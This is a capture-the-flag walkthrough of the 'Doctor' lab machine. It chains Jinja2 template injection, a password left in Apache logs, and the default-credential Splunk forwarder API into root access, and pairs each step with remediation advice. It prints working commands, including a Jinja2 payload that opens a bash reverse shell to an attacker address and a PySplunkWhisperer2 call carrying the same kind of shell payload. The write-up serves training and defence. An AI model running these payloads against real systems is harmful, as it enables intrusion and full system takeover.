← all walkthroughs

Doctor

Linux· Easy· Privilege Escalation
owned
2026-07-06
time to own
9m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the public-facing IP and discovered an Apache web server whose root redirected to a Flask-based medical-staff messaging portal running a Jinja2 template engine. A Server-Side Template Injection (SSTI) vulnerability in the post-creation form allowed any registered user to inject template directives that the server evaluated as Python code, yielding a reverse shell as the web application service account.

That account's membership in the system auditing group granted read access to Apache's raw HTTP access logs, where a prior user had accidentally submitted their password as a URL query parameter — logging it in plaintext. The recovered password '[REDACTED: recovered credential]' authenticated as local user 'shaun', whose home directory held the first flag.

Finally, the Splunk Universal Forwarder management API on port 8089 was reachable from the internet and protected only by factory-default credentials while its daemon ran as root. Uploading a malicious application bundle via the Splunk REST API caused the forwarder to execute my own script as root, completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Scanned open ports and identified the web application stack
A version and script scan of $TARGET revealed OpenSSH on port 22, Apache HTTP on port 80, and a Splunk management daemon on port 8089. The HTTP response on port 80 issued a redirect to the virtual hostname 'doctors.htb', which hosted a Flask application. A follow-up check from inside the host later confirmed a second Flask development server bound exclusively to 127.0.0.1:5000.
Nmap: 22/tcp OpenSSH 8.2p1, 80/tcp Apache httpd 2.4.41, 8089/tcp Splunkd httpd; ss output showed LISTEN 0 128 127.0.0.1:5000.
Exact commands 3
Version and default-script scan of the three externally exposed ports.
nmap -Pn -sV -sC -p 22,80,8089 $TARGET
Register the virtual hostname discovered in the HTTP 302 redirect.
echo "$TARGET doctors.htb" | sudo tee -a /etc/hosts
Confirm the redirect to doctors.htb and identify the underlying server header.
curl -sI http://$TARGET/
2EnumerationServer-Side Template Injection detection (CWE-94)
Registered a test account and confirmed Server-Side Template Injection in post titles
The Flask portal permitted open self-registration. After creating a test account and logging in, the 'New Post' form accepted a title and body. Submitting the Jinja2 arithmetic probe '{{7*7}}' as a post title and then navigating to /archive returned the computed value 49 in the page source, confirming that post titles were passed through the Jinja2 rendering engine without sanitisation.
GET /archive response body contained <title>49</title> after submitting {{7*7}} as the post title — confirmed Jinja2 evaluation.
Exact commands 4
Register a throwaway account on the portal.
curl -s -c cookies.txt -b cookies.txt -X POST http://doctors.htb/register -d "username=$USERNAME&email=$USERNAME@test.local&password=$PASSWORD2&confirm_password=$PASSWORD2"
Log in and store the session cookie in cookies.txt.
curl -s -c cookies.txt -b cookies.txt -X POST http://doctors.htb/login -d "email=$USERNAME@test.local&password=$PASSWORD2"
Submit the arithmetic probe in the post title field.
curl -s -c cookies.txt -b cookies.txt -X POST http://doctors.htb/post/new -d 'title={{7*7}}&content=probe'
Retrieve /archive and look for the evaluated result; 49 confirms SSTI.
curl -s -c cookies.txt -b cookies.txt http://doctors.htb/archive | grep -o '<[^>]*>[0-9]*<'
FixNever render user-supplied input as a Jinja2 template fragmentCritical
WeaknessThe Flask application passed post titles submitted by registered users directly to the Jinja2 rendering pipeline without sanitisation. Any logged-in user could inject template directives — including calls to Python's os module — that the server evaluated with full application privileges, granting unauthenticated remote code execution to anyone who could create an account.
FixStore and display user content as data only. Use render_template() with a static .html file that references variables via autoescaping (autoescape=True in the Jinja2 Environment), and never pass user input to render_template_string(). Validate post titles with an allow-list (alphanumeric, spaces, basic punctuation) and reject submissions containing template-syntax characters such as '{', '}', and '%'. If dynamic template construction is genuinely required, use a sandboxed Jinja2 SandboxedEnvironment. Close open registration if untrusted users do not need accounts, or require email verification to raise the barrier for anonymous unauthorised users.
3ExploitationServer-Side Template Injection — Remote Code Execution (CWE-94 / T1059.006)
Injected a Jinja2 payload to obtain a reverse shell as the 'web' service account
Using the confirmed SSTI sink, a post title containing a Python os.popen() call was submitted. Fetching /archive caused the template engine to evaluate the payload and execute a bash reverse shell. The inbound connection arrived as uid=1001 (web), a member of the web(1001) and adm(4) groups.
Id returned uid=1001(web) gid=1001(web) groups=1001(web),4(adm); hostname returned 'doctor'.
Exact commands 3
Open a reverse-shell listener on my machine before submitting the payload.
nc -lvnp 4444
Replace $ATTACKER_IP with your tun0 address. The payload executes when /archive is fetched.
curl -s -c cookies.txt -b cookies.txt -X POST http://doctors.htb/post/new --data-urlencode 'title={{request.application.__globals__.__builtins__.__import__("os").popen("bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\"").read()}}' -d 'content=x'
Trigger template evaluation — the Jinja2 engine renders the title and fires the reverse shell.
curl -s -c cookies.txt -b cookies.txt http://doctors.htb/archive
4Credential DiscoveryCredential harvesting from application logs (T1552.001)
Read Apache access logs via the 'adm' group and recovered a plaintext password
Membership in the 'adm' group gave the web account read access to /var/log/apache2/. Inspecting the backup log file revealed a past HTTP GET request in which a user had submitted their password as a URL query parameter. The string '[REDACTED: recovered credential]' appeared in clear text in that log line, associated with the 'shaun' account.
Grep on /var/log/apache2/backup returned a GET request containing 'email=shaun@doctors.htb&password=[REDACTED: recovered credential]' URL-encoded in the query string.
Exact commands 3
Confirm adm group membership on the web shell: groups=1001(web),4(adm).
id
List all Apache log files readable by the adm group.
ls -la /var/log/apache2/
Search the backup log for credential-shaped strings; reveals [REDACTED: recovered credential] in a URL parameter.
grep -aEi "password|passwd|$PASSWORD" /var/log/apache2/backup
FixPrevent passwords from appearing in HTTP logs and remove unnecessary adm group membershipHigh
WeaknessThe login form could be called via a GET request, causing user passwords to be recorded verbatim in Apache's access log. The web application service account was a member of the 'adm' group, giving anyone who compromised the web process unrestricted read access to those logs — effectively turning every historical plaintext credential into a pivot opportunity.
FixEnforce POST-only submission for all authentication endpoints and return HTTP 405 for GET requests to login routes. Add a route decorator or middleware that rejects requests whose query string contains credential-shaped parameter names ('password', 'passwd', 'token'). Immediately audit membership of the 'adm' group and remove all accounts that do not have a documented operational need to read system logs. Rotate the 'shaun' account password. As a defence-in-depth measure, configure your log-rotation or a WAF rule to mask or drop the values of sensitive query parameters before they are written to disk.
5Lateral MovementLocal account credential re-use (T1078.003)
Authenticated as 'shaun' with the recovered password and read the user flag
The password [REDACTED: recovered credential] recovered from the Apache log was valid for the local account 'shaun'. Switching to shaun's shell gave access to the home directory and the user flag.
Printf '[REDACTED: recovered credential]' | su - shaun -c 'id; cat ~/user.txt' returned uid=1000(shaun) and the flag value.
Exact commands 2
Switch to shaun non-interactively and read the user flag. Flag value: <user.txt>.
printf "$PASSWORD\n" | su - shaun -c 'id; cat ~/user.txt'
Alternative: SSH as shaun (password: [REDACTED: recovered credential]) for a stable, full TTY session.
ssh shaun@$TARGET
6Privilege EscalationSplunk Universal Forwarder app-deploy RCE as root (T1072 — Software Deployment Tools)
Deployed a malicious Splunk app via the forwarder management API and obtained a root shell
The Splunk Universal Forwarder management API on port 8089 was bound to all interfaces and accepted the unchanged factory-default credentials (admin:[REDACTED: recovered credential]). The forwarder daemon ran as root. Using PySplunkWhisperer2, a crafted application package containing a malicious inputs.conf shell script was uploaded via the Splunk REST API. Upon installation, the forwarder executed the embedded script as root, delivering a reverse shell with uid=0 and allowing the root flag to be read.
Finding: 'Splunk Universal Forwarder App Deploy Rce As Root'; curl to 8089 with admin:[REDACTED: recovered credential] returned HTTP 200; reverse shell returned uid=0(root); root.txt read as <root.txt>.
Exact commands 5
Verify the default credentials against the Splunk REST API — HTTP 200 confirms access.
curl -sk -u 'admin:$PASSWORD3' https://$TARGET:8089/services/server/info -o /dev/null -w '%{http_code}\n'
Clone the Splunk app-deploy exploit tool.
git clone https://github.com/cnotin/SplunkWhisperer2.git && cd SplunkWhisperer2/PySplunkWhisperer2
Open a second listener for the root reverse shell (separate terminal).
nc -lvnp 5555
Replace $ATTACKER_IP with your tun0 IP. Splunk installs the app and executes the payload as root.
python3 PySplunkWhisperer2_remote.py --host $TARGET --port 8089 --username admin --password $PASSWORD3 --payload 'bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/5555 0>&1"' --lhost $ATTACKER_IP
On the root shell: read the root flag. Flag value: <root.txt>.
cat /root/root.txt
FixChange default Splunk credentials, bind the management port to loopback only, and run the forwarder as an unprivileged accountCritical
WeaknessThe Splunk Universal Forwarder exposed its management REST API on all network interfaces (0.0.0.0:8089) with the factory-default password unchanged (admin:[REDACTED: recovered credential]) and ran its daemon as the root system account. Any internet-reachable an unauthorised user could authenticate to the API, upload a malicious application bundle, and have Splunk execute arbitrary commands with root privileges.
FixChange the Splunk admin password immediately to a randomly generated value of at least 20 characters and store it in a secrets vault. Bind the management port to localhost only by setting 'mgmtHostPort = 127.0.0.1:8089' in $SPLUNK_HOME/etc/system/local/server.conf and restarting the forwarder. Create a dedicated low-privilege OS service account (e.g. 'splunk') and configure the forwarder to run as that account rather than root. Apply a host-based firewall rule (ufw deny in on any to any port 8089) as a defence-in-depth layer. If remote management is operationally necessary, restrict it to a known management VLAN or VPN address range.

Exposed services

22/tcp
80/tcp
8089/tcp